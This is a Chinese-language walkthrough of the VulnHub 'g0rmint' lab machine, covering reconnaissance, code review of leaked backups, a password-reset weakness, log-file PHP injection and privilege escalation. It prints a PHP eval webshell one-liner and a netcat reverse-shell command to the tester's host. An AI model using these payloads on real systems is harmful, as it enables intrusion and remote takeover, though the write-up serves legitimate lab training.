kali滲透綜合靶機(十四)--g0rmint靶機
靶機下載地址:https://www.vulnhub.com/entry/g0rmint-1,214/
一、主機發現
1.netdiscover -i eth0 -r 192.168.10.0/24
二、端口掃描
1. masscan --rate=10000 -p0-65535 192.168.10.173
三、端口服務識別
nmap -sV -T4 -O -p 22,80 192.168.10.173
四、漏洞查找與利用
1.dirb目錄掃描
2.發現http://192.168.10.173/robots.txt,瀏覽器訪問,發現g0rmint
3.瀏覽器訪問http://192.168.10.173/g0rmint
4.查看頁面源碼,發現備份目錄
5.使用dirb 掃描http://192.168.10.173/g0rmint/s3cretbackupdirect0ry/,發現http://192.168.10.173/g0rmint/s3cretbackupdirect0ry/info.php
6.訪問http://192.168.10.173/g0rmint/s3cretbackupdirect0ry/info.php
7.下載備份文件
8.查看網站代碼,發現用戶名、密碼、郵箱,嘗試登錄失敗
在線解密
9.查看login.php,發現登錄失敗的時候會生成一個日志文件(調用addlog函數)
10.查看addlog函數,發現日志寫在.php文件中,嘗試在登錄郵箱處插入php語句,從而任意執行代碼
11.在登錄郵箱處插入php一句話木馬,點擊提交,登錄失敗跳轉到登錄頁面
最后發現是fwrite($fh, file_get_contents("dummy.php") . "<br>\n");寫入了一個session判斷
所以需要先解決登錄的問題。
12.查看reset.php,可以看到只要知道了一個存在的郵箱和用戶名,就可以重置密碼為一個時間值的哈希,嘗試了demo和一些常用郵箱用戶名之后,發現似乎並沒有這個用戶
13.在全文搜索email關鍵字, 可以在一個css文件中看到用戶的名字和郵箱
14.成功重置后,界面右下角也給出了對應的時間,遂能算出相應的哈希值,使用在線的hash加密,去加密成功后的hash值前20位最為密碼的值
15. 用郵箱和算出的哈希值就能登錄到后台中,然后就能成功的訪問到生成的log文件
16.在登錄的時郵箱處插入一條php語句,寫入webshell,<?php @eval($_POST[cmd]);?>然后訪問對應的日志,提交post參數即可執行任意php代碼。
17.然后將shell反彈到我的kali中來
在post中輸入:注意需要url編碼
`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.168 1234 >/tmp/f;`;
18.在Kali開啟監聽,獲得shell
19.提權
19.1查看內核版本
19.2kali查看是否有對應版本的漏洞
19.3在kali編譯好腳本,然后目標用wget下載,執行,獲得管理員權限
提權方式二:
1.在/var/www目錄下又發現網站備份文件,解壓發現db.sql,
2.發現用戶noman以及密碼
在線解密
3.嘗試用noman用戶登錄,失敗,發現/etc/passwd中有g0rmint,嘗試用noman的密碼登錄,成功登錄進去
4.用sudo -l 查看當前用戶是否屬於sudo組,然后sudo -i 直接獲得管理員權限
總結:
1、信息收集、端口掃描、服務識別
2、目錄掃描、發現敏感信息備份文件
3、登錄密碼的地方暫時突破不了,嘗試在重置密碼的地方尋找突破口、發現有用信息
4、進行代碼審計,發現日志文件的后綴是php文件,這時可以嘗試在登錄的地方接入一句話,然后就寫入到日志中。
5、getshell、提權